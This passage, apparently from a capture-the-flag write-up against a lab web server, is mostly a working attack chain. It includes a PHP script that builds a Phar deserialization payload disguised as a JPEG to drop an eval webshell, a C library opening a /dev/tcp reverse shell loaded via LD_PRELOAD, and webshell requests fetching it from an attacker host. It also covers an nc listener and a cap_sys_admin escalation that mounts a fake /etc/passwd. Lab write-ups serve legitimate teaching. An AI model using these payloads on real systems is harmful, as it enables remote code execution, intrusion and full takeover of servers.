&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh3i6vorpcvcca32tchhq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh3i6vorpcvcca32tchhq.png" alt="New photo" width="800" height="384"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It’s moment to create a PHP Webshell, rename for .jpg (to pass node.js) and use LFI (on PHP) to execute the .jpg with code.&lt;/p&gt;
&lt;h3&gt;
  
  
  3.3. Phar Deserialization
&lt;/h3&gt;
&lt;h3&gt;
  
  
  3.3.1. Script and obfuscation
&lt;/h3&gt;

&lt;p&gt;To obtain a remote code execution (RCE), we need PHAR (PHP Archive)  deserialization that allows an attacker to execute arbitrary code. Only LFI vulnerabilty isn’t enough, because we have upload restrictions, like Node.js middleware that block php files, but allow jpg images. Another point, it’s the wrappers from php stream like phar://  automatically deserialize  file metadata when accessed by file system functions (ex: &lt;code&gt;file_existis&lt;/code&gt;, &lt;code&gt;fopen&lt;/code&gt;, &lt;code&gt;include&lt;/code&gt;). Third, we identified the app\controller\Certificated class in the backend. This class acts like a Gadget, with a magic method (&lt;code&gt;__destruct&lt;/code&gt;)that write object properties in disk.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;This script below generate a malicious Phar (PHP Archive) file disguised like a image, containing a deserialize object (payload) prepared for explorer a deserialization failure on the server.
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="kn"&gt;namespace&lt;/span&gt; &lt;span class="nn"&gt;app\controller&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Certificated&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nv"&gt;$data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;namespace&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$phar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Phar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'exploit.phar'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nv"&gt;$phar&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;startBuffering&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nv"&gt;$phar&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;addFromString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'test.txt'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'test'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nv"&gt;$phar&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;setStub&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;?php __HALT_COMPILER(); ?&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="nv"&gt;$payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;\app\controller\Certificated&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;


    &lt;span class="nv"&gt;$payload&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'/var/www/certificated/public/shell.php'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;


    &lt;span class="nv"&gt;$payload&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;?php eval($_GET["c"]); ?&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="nv"&gt;$phar&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;setMetadata&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$payload&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nv"&gt;$phar&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;stopBuffering&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="nb"&gt;rename&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'exploit.phar'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'exploit.jpg'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"exploit.jpg file successfully created!&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ol&gt;
&lt;li&gt;Run the script.
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="n"&gt;php&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="n"&gt;phar&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="k"&gt;readonly&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nc"&gt;Downloads&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;exploit&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt; 
&lt;span class="n"&gt;exploit&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;jpg&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="n"&gt;successfully&lt;/span&gt; &lt;span class="n"&gt;create&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ol&gt;
&lt;li&gt;The Node.js server save at &lt;code&gt;/var/www/main/public/uploads/profile-[numbers]-[numbers].jpg&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbaaoe0wwgkphbuvpoaqj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbaaoe0wwgkphbuvpoaqj.png" alt="saving" width="800" height="11"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Testing if the upload worked using LFI vulnerability that was found:
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;://&lt;/span&gt;&lt;span class="n"&gt;certificated&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;techacademy&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;certified&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;phar&lt;/span&gt;&lt;span class="o"&gt;:///&lt;/span&gt;&lt;span class="k"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;uploads&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;profile&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1770488009671&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;280225128.&lt;/span&gt;&lt;span class="n"&gt;jpg&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg3opoeuo8mxptivhopri.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg3opoeuo8mxptivhopri.png" alt="Phar" width="800" height="383"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  3.4. Webshell
&lt;/h3&gt;

&lt;p&gt;We access the &lt;code&gt;shell.php&lt;/code&gt; file newly created. But, attempts to &lt;code&gt;cmd=id&lt;/code&gt; or &lt;code&gt;cmd=ls&lt;/code&gt; failed because the &lt;code&gt;php.ini&lt;/code&gt; blocking &lt;code&gt;system&lt;/code&gt;, &lt;code&gt;shell_exec&lt;/code&gt;, etc.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F85shcuywx33i2o4mpegq.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F85shcuywx33i2o4mpegq.jpeg" alt="shell.php" width="800" height="310"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now, we need to bypass PHP &lt;code&gt;disable_functions&lt;/code&gt; and generate a reverse shell. I’ll use &lt;code&gt;LD_PRELOAD&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  3.4.1. Bypass PHP disable_functions and reverse shell
&lt;/h3&gt;

&lt;p&gt;First of all, disable_functions is a PHP directive in &lt;code&gt;php.ini&lt;/code&gt; configuration file that allows system admin to disable specific functions for security reasons. For example: &lt;code&gt;exec&lt;/code&gt;, &lt;code&gt;shell_exec&lt;/code&gt;, &lt;code&gt;system&lt;/code&gt;, etc. Secondly, &lt;code&gt;LD_PRELOAD&lt;/code&gt; is used by attackers to bypass these restrictions because it allows to load a custom, malicious shared library (.so file) before standard system libraries. In this case, &lt;code&gt;LD_PRELOAD&lt;/code&gt;’ll be used with &lt;code&gt;mail()&lt;/code&gt; function.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;First, we need to compile the code below (&lt;code&gt;hack.c&lt;/code&gt;):
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/span&gt;
&lt;span class="c1"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;span class="c1"&gt;#include &amp;lt;string.h&amp;gt;&lt;/span&gt;

&lt;span class="n"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;__attribute__&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="nf"&gt;initLibrary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;unsetenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"LD_PRELOAD"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="nb"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"/bin/bash -c '/bin/bash -i &amp;gt;&amp;amp; /dev/tcp/IP/PORT 0&amp;gt;&amp;amp;1'"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ol&gt;
&lt;li&gt;Compiling with &lt;code&gt;gcc&lt;/code&gt;:
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="n"&gt;gcc&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;shared&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;fPIC&lt;/span&gt; &lt;span class="n"&gt;hack&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt; &lt;span class="n"&gt;hack&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;so&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ol&gt;
&lt;li&gt;Now we need to send our malicious lib &lt;code&gt;hack.so&lt;/code&gt; to victim web server. First, we’re a attacker and need to transfer our malicious file using HTTP server in our terminal.
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;python3&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ol&gt;
&lt;li&gt;Victim (via Web shell):
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;://&lt;/span&gt;&lt;span class="n"&gt;certificated&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;techacademy&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;copy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'http://10.0.22.155/hack.so'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'/tmp/hack.so'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F59o8xbecqgvuhno48egj.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F59o8xbecqgvuhno48egj.jpeg" alt="copy" width="800" height="376"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After this, if we see our &lt;code&gt;http.server&lt;/code&gt;, our exploit was sent to the victim server:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 80
Serving HTTP on 0.0.0.0 port 80 &lt;span class="o"&gt;(&lt;/span&gt;http://0.0.0.0:80/&lt;span class="o"&gt;)&lt;/span&gt; ...
172.16.13.174 - - &lt;span class="o"&gt;[&lt;/span&gt;07/Feb/2026 17:52:45] &lt;span class="s2"&gt;"GET /hack.so HTTP/1.0"&lt;/span&gt; 200 -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Triggering the exploit:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Our terminal:
&lt;/li&gt;
&lt;/ol&gt;

&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lvnp&lt;/span&gt; 8000
&lt;/code&gt;&lt;/pre&gt;



&lt;p&gt;b. Victim:&lt;br&gt;
&lt;/p&gt;

&lt;pre class="highlight shell"&gt;&lt;code&gt;http://certificated.techacademy.hc/shell.php?c&lt;span class="o"&gt;=&lt;/span&gt;putenv&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'LD_PRELOAD=/tmp/hack.so'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; mail&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'a'&lt;/span&gt;,&lt;span class="s1"&gt;'a'&lt;/span&gt;,&lt;span class="s1"&gt;'a'&lt;/span&gt;,&lt;span class="s1"&gt;'a'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;




&lt;/li&gt;

&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fce7tfrppvfdritpsddk5.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fce7tfrppvfdritpsddk5.jpeg" alt="LD_PRELOAD" width="800" height="339"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Result: a interactive reverse shell:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwsxggct3luek8qq7jmej.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwsxggct3luek8qq7jmej.png" alt="Reverse shell" width="655" height="225"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Stabilizing shell and lateral movement
&lt;/h2&gt;

&lt;p&gt;It’s important to stabilizing your shell, because any slip will kill our connection and commands like &lt;code&gt;su&lt;/code&gt; and &lt;code&gt;nano&lt;/code&gt; don’t work well in dumb shells.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;First step: &lt;code&gt;TTY Spawn&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The first command that we need to write is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'import pty; pty.spawn("/bin/bash")'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Second step: &lt;code&gt;Magic Stty&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Now we need to enable the &lt;code&gt;CTRL+C&lt;/code&gt;, autocomplete (Tab) and historical.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;CTRL+C&lt;/code&gt; key combination&lt;/li&gt;
&lt;li&gt;In our terminal, we type:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;stty &lt;/span&gt;raw &lt;span class="nt"&gt;-echo&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;fg&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When we press enter, it may seem like locked. Type &lt;code&gt;reset&lt;/code&gt; and press Enter or &lt;code&gt;xterm&lt;/code&gt; if appears: Terminal type?&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Environment variable&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To ensure that commands like clear and text editor work:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;TERM&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;xterm
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;SHELL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now it’s time to lateral movement, remember &lt;code&gt;Shanah&lt;/code&gt;? it’s our front door now:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;su Shanah
Password:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fenp42flciqkdfepbd2ie.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fenp42flciqkdfepbd2ie.jpeg" alt="user.txt" width="609" height="320"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Uou, our first flag is here in &lt;code&gt;user.txt&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Privilege Escalation
&lt;/h2&gt;

&lt;p&gt;The hard part is over when we tried to take our initial access, for privilege escalation we’ll use linux command-line &lt;code&gt;getcap&lt;/code&gt; used to examine, list and display the file capabilities assigned to executable files.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;getcap &lt;span class="nt"&gt;-r&lt;/span&gt; / 2&amp;gt;/dev/null
/usr/bin/mtr-packet &lt;span class="nv"&gt;cap_net_raw&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;ep
/usr/bin/ping &lt;span class="nv"&gt;cap_net_raw&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;ep
/usr/local/bin/python3_cap &lt;span class="nv"&gt;cap_sys_admin&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin,cap_sys_nice&lt;span class="o"&gt;=&lt;/span&gt;ep
/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin&lt;span class="o"&gt;=&lt;/span&gt;p
/snap/core22/2133/usr/bin/ping &lt;span class="nv"&gt;cap_net_raw&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;ep
/snap/snapd/25202/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin&lt;span class="o"&gt;=&lt;/span&gt;p
/snap/snapd/25935/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin&lt;span class="o"&gt;=&lt;/span&gt;p
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The capability &lt;code&gt;cap_sys_admin=ep&lt;/code&gt; is our door to privilege escalation&lt;/p&gt;

&lt;p&gt;How we don’t have permission to edit &lt;code&gt;/etc/passwd&lt;/code&gt; we use the privilege python to mount a false file on top of the real file.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.1. Exploration script
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Using Copy and paste (Heredoc)&lt;/p&gt;

&lt;p&gt;This method use a cat command to read everything that you paste until the key word &lt;code&gt;EOF&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt; &amp;gt; /tmp/exploit.py
import ctypes
import os

libc = ctypes.CDLL('libc.so.6')

# Define caminhos (em bytes)
source = b'/tmp/passwd_fake'
target = b'/etc/passwd'

print(" Replacing /etc/passwd...")
try:
    libc.mount(source, target, None, 4096, None)
    print("Becoming root")
    os.system("su r00t")
except Exception as e:
    print(f"[-] Erro: {e}")
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify if &lt;code&gt;/tmp/passwd_fake&lt;/code&gt; exist. If not, we can create a fake file (original copy + root user)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cp&lt;/span&gt; /etc/passwd /tmp/passwd_fake
